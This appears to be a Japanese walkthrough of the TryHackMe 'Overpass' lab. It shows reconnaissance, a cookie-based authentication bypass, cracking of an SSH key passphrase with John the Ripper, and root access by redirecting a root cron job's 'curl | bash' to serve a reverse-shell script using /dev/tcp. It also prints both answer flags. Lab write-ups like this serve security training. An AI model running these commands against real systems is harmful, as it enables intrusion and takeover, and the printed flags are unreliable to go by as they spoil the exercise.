概要
TryHackMe「Overpass」のWalkthroughです。
Task1
Q1.Hack the machine and get the flag in user.txt
Hint.OWASP Top 10 Vuln! Do NOT bruteforce.
ポートスキャンを実行します。
$ nmap -Pn -T4 -A -sC -sV -p- 10.10.223.162 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
| 256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_ 256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.6p1 |
80 | http | Golang net/http server |
ディレクトリ列挙をします
$ dirsearch -u http://10.10.223.162
[01:37:59] 200 - 782B - /404.html
[01:38:39] 200 - 2KB - /downloads/
[01:38:06] 200 - 1KB - /admin.html
[01:38:07] 200 - 1KB - /admin/
[01:38:57] 200 - 2KB - /login.js
[01:38:58] 200 - 28B - /main.js
/admin
にアクセスするとログインページが表示されました。
ソースコードを見るとlogin.js
でログイン処理を行っています。
async function postData(url = '', data = {}) {
// Default options are marked with *
const response = await fetch(url, {
method: 'POST', // *GET, POST, PUT, DELETE, etc.
cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
credentials: 'same-origin', // include, *same-origin, omit
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
redirect: 'follow', // manual, *follow, error
referrerPolicy: 'no-referrer', // no-referrer, *client
body: encodeFormData(data) // body data type must match "Content-Type" header
});
return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
return Object.keys(data)
.map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
.join('&');
}
function onLoad() {
document.querySelector("#loginForm").addEventListener("submit", function (event) {
//on pressing enter
event.preventDefault()
login()
});
}
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
下記コード部分に注目するとレスポンスがIncorrect Credentials
以外の時は、CookieにSessionToken
という名前でレスポンスを値としてセットし、/admin
にアクセスしています。
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
Cookieの値を検証していないので、SessionToken
という名前でセットし、/admin
にアクセスすると認証をバイパスできました。
James
のSSH秘密鍵を得られました。
SSH接続を試みるとパスフレーズを求められました。
$ ssh -i id_rsa james@10.10.35.242
Enter passphrase for key 'id_rsa':
james@10.10.35.242's password:
JohnTheRipperで解析します。
$ ssh2john id_rsa > id_hash.txt
$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
james13 (id_rsa)
パスフレーズが判明したのでSSH接続に成功しました。
$ ssh -i id_rsa james@10.10.35.242
Enter passphrase for key 'id_rsa':
james@overpass-prod:~$
/home/james/user.txt
からユーザーフラグを入手できました。
thm{65c1aaf000506e56996822c6281e6bf7}
A.thm{65c1aaf000506e56996822c6281e6bf7}
Q2.Escalate your privileges and get the flag in root.txt
todo.txt
を確認すると暗号化強度が弱いと指摘されています。
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
They're not updating on the website
Webサイトからダウンロードできるoverpass.go
のソースコードを見るとROT47でパスワードを暗号化しているようです。
//Decrypt passwords
buff = []byte(rot47(string(buff)))
ターゲットマシンの/home/james/.overpass
を確認すると暗号化された文字列を発見しました。
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.
ROT47で復号すると、名前とパスワードを得られました。
しかし、使用できる個所は見つけられませんでした。
Cronジョブを確認するとbuildscript.sh
がroot権限で動作していることが分かりました。
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
curl
コマンドでoverpass.thm
ドメイン内のスクリプトをダウンロードしているので、/etc/hosts
ファイルからoverpass.thm
の名前解決をKaliのIPに編集します。
127.0.0.1 localhost
127.0.1.1 overpass-prod
10.6.55.144 overpass.thm
Kaliにディレクトリを作成します。
$ mkdir -p downloads/src
ローカルにリバースシェルのスクリプトファイルを作成します。
#!/bin/sh
sh -i >& /dev/tcp/10.6.55.144/1234 0>&1
Netcatでリッスンします。
$ nc -lvnp 1234
httpサーバーを立ち上げてしばらく待つと、ターゲットマシンからアクセスがあります。
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.35.242 - - [16/Sep/2024 09:33:38] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -
Netcatを確認するとrootでリバースシェルが張れています。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.35.242] 58198
sh: 0: can't access tty; job control turned off
# whoami
root
/root/root.txt
からルートフラグを入手できます。
thm{7f336f8c359dbac18d54fdd64ea753bb}
A.thm{7f336f8c359dbac18d54fdd64ea753bb}